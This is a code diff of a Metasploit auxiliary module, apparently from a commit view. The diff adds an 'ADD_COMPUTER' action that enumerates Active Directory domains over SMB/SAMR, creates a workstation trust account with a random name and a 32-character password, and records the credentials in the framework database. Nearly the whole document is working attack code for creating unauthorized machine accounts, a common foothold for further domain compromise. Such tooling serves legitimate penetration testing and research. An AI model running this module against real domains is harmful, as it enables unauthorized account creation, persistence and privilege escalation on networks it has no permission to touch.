@@ -31,13 +31,16 @@ def initialize(info = {})
3131 'SideEffects' => [ IOC_IN_LOGS ]
3232 } ,
3333 'Actions' => [
34- [ 'ADD ' , { 'Description' => 'Add a computer account' } ] ,
34+ [ 'ADD_COMPUTER ' , { 'Description' => 'Add a computer account' } ] ,
3535 ] ,
36- 'DefaultAction' => 'ADD '
36+ 'DefaultAction' => 'ADD_COMPUTER '
3737 )
3838 )
3939
40- register_options ( [ Opt ::RPORT ( 445 ) ] )
40+ register_options ( [
41+ OptString . new ( 'COMPUTER_NAME' , [ false , 'The computer name' ] ) ,
42+ Opt ::RPORT ( 445 )
43+ ] )
4144 end
4245
4346 def connect_samr
@@ -73,9 +76,120 @@ def run
7376 fail_with ( Module ::Failure ::Unreachable , "Unable to connect to the remote IPC$ share ([#{ e . class } ] #{ e } )." )
7477 end
7578
76- samr = connect_samr
77- server_handle = samr . samr_connect ( access : 0x30 )
78- domains = samr . samr_enumerate_domains_in_sam_server ( server_handle : server_handle )
79- print_status ( domains . inspect )
79+ @samr = connect_samr
80+ @server_handle = @samr . samr_connect
81+
82+ if datastore [ 'SMBDomain' ] . blank? || datastore [ 'SMBDomain' ] == '.'
83+ all_domains = @samr . samr_enumerate_domains_in_sam_server ( server_handle : @server_handle ) . map ( &:to_s ) . map ( &:encode )
84+ all_domains . delete ( 'Builtin' )
85+ if all_domains . length == 0
86+ fail_with ( Failure ::NotFound , 'No domains were found on the SAM server.' )
87+ elsif all_domains . length > 1
88+ print_status ( "Enumerated domains: #{ all_domains . join ( ', ' ) } " )
89+ fail_with ( Failure ::BadConfig , 'The SAM server has more than one domain, the target must be specified.' )
90+ end
91+
92+ @domain_name = all_domains . first
93+ print_status ( "Using automatically identified domain: #{ @domain_name } " )
94+ else
95+ @domain_name = datastore [ 'SMBDomain' ]
96+ end
97+
98+ @domain_sid = @samr . samr_lookup_domain ( server_handle : @server_handle , name : @domain_name )
99+ @domain_handle = @samr . samr_open_domain ( server_handle : @server_handle , domain_id : @domain_sid )
100+ send ( "action_#{ action . name . downcase } " )
101+ end
102+
103+ def random_hostname ( prefix : 'DESKTOP' )
104+ "#{ prefix } -#{ Rex ::Text . rand_base ( 8 , '' , ( 'A' ..'Z' ) . to_a + ( '0' ..'9' ) . to_a ) } $"
105+ end
106+
107+ def action_add_computer
108+ if datastore [ 'COMPUTER_NAME' ] . blank?
109+ computer_name = random_hostname
110+ 4 . downto ( 0 ) do |attempt |
111+ break if @samr . samr_lookup_names_in_domain ( domain_handle : @domain_handle , names : [ computer_name ] ) . nil?
112+
113+ computer_name = random_hostname
114+ fail_with ( Failure ::BadConfig , 'Could not find an unused computer name.' ) if attempt == 0
115+ end
116+ else
117+ computer_name = datastore [ 'COMPUTER_NAME' ]
118+ if @samr . samr_lookup_names_in_domain ( domain_handle : @domain_handle , names : [ computer_name ] )
119+ fail_with ( Failure ::BadConfig , 'The specified computer name already exists.' )
120+ end
121+ end
122+
123+ result = @samr . samr_create_user2_in_domain (
124+ domain_handle : @domain_handle ,
125+ name : computer_name ,
126+ account_type : RubySMB ::Dcerpc ::Samr ::USER_WORKSTATION_TRUST_ACCOUNT ,
127+ desired_access : RubySMB ::Dcerpc ::Samr ::USER_FORCE_PASSWORD_CHANGE | RubySMB ::Dcerpc ::Samr ::MAXIMUM_ALLOWED
128+ )
129+
130+ user_handle = result [ :user_handle ]
131+ password = Rex ::Text . rand_text_alphanumeric ( 32 )
132+
133+ user_info = RubySMB ::Dcerpc ::Samr ::SamprUserInfoBuffer . new (
134+ tag : RubySMB ::Dcerpc ::Samr ::USER_INTERNAL4_INFORMATION_NEW ,
135+ member : RubySMB ::Dcerpc ::Samr ::SamprUserInternal4InformationNew . new (
136+ i1 : {
137+ password_expired : 1 ,
138+ which_fields : RubySMB ::Dcerpc ::Samr ::USER_ALL_NTPASSWORDPRESENT | RubySMB ::Dcerpc ::Samr ::USER_ALL_PASSWORDEXPIRED
139+ } ,
140+ user_password : {
141+ buffer : RubySMB ::Dcerpc ::Samr ::SamprEncryptedUserPasswordNew . encrypt_password (
142+ password ,
143+ @simple . client . application_key . blank? ? @simple . client . session_key : @simple . client . application_key
144+ )
145+ }
146+ )
147+ )
148+ @samr . samr_set_information_user2 (
149+ user_handle : user_handle ,
150+ user_info : user_info
151+ )
152+
153+ user_info = RubySMB ::Dcerpc ::Samr ::SamprUserInfoBuffer . new (
154+ tag : RubySMB ::Dcerpc ::Samr ::USER_CONTROL_INFORMATION ,
155+ member : RubySMB ::Dcerpc ::Samr ::UserControlInformation . new (
156+ user_account_control : RubySMB ::Dcerpc ::Samr ::USER_WORKSTATION_TRUST_ACCOUNT
157+ )
158+ )
159+ @samr . samr_set_information_user2 (
160+ user_handle : user_handle ,
161+ user_info : user_info
162+ )
163+ print_good ( "Successfully created #{ @domain_name } \\ #{ computer_name } with password #{ password } " )
164+ report_creds ( @domain_name , computer_name , password )
165+ end
166+
167+ def report_creds ( domain , username , password )
168+ service_data = {
169+ address : datastore [ 'RHOST' ] ,
170+ port : datastore [ 'RPORT' ] ,
171+ service_name : 'smb' ,
172+ protocol : 'tcp' ,
173+ workspace_id : myworkspace_id
174+ }
175+
176+ credential_data = {
177+ module_fullname : fullname ,
178+ origin_type : :service ,
179+ private_data : password ,
180+ private_type : :password ,
181+ username : username ,
182+ realm_key : Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN ,
183+ realm_value : domain
184+ } . merge ( service_data )
185+
186+ credential_core = create_credential ( credential_data )
187+
188+ login_data = {
189+ core : credential_core ,
190+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
191+ } . merge ( service_data )
192+
193+ create_credential_login ( login_data )
80194 end
81195end
0 commit comments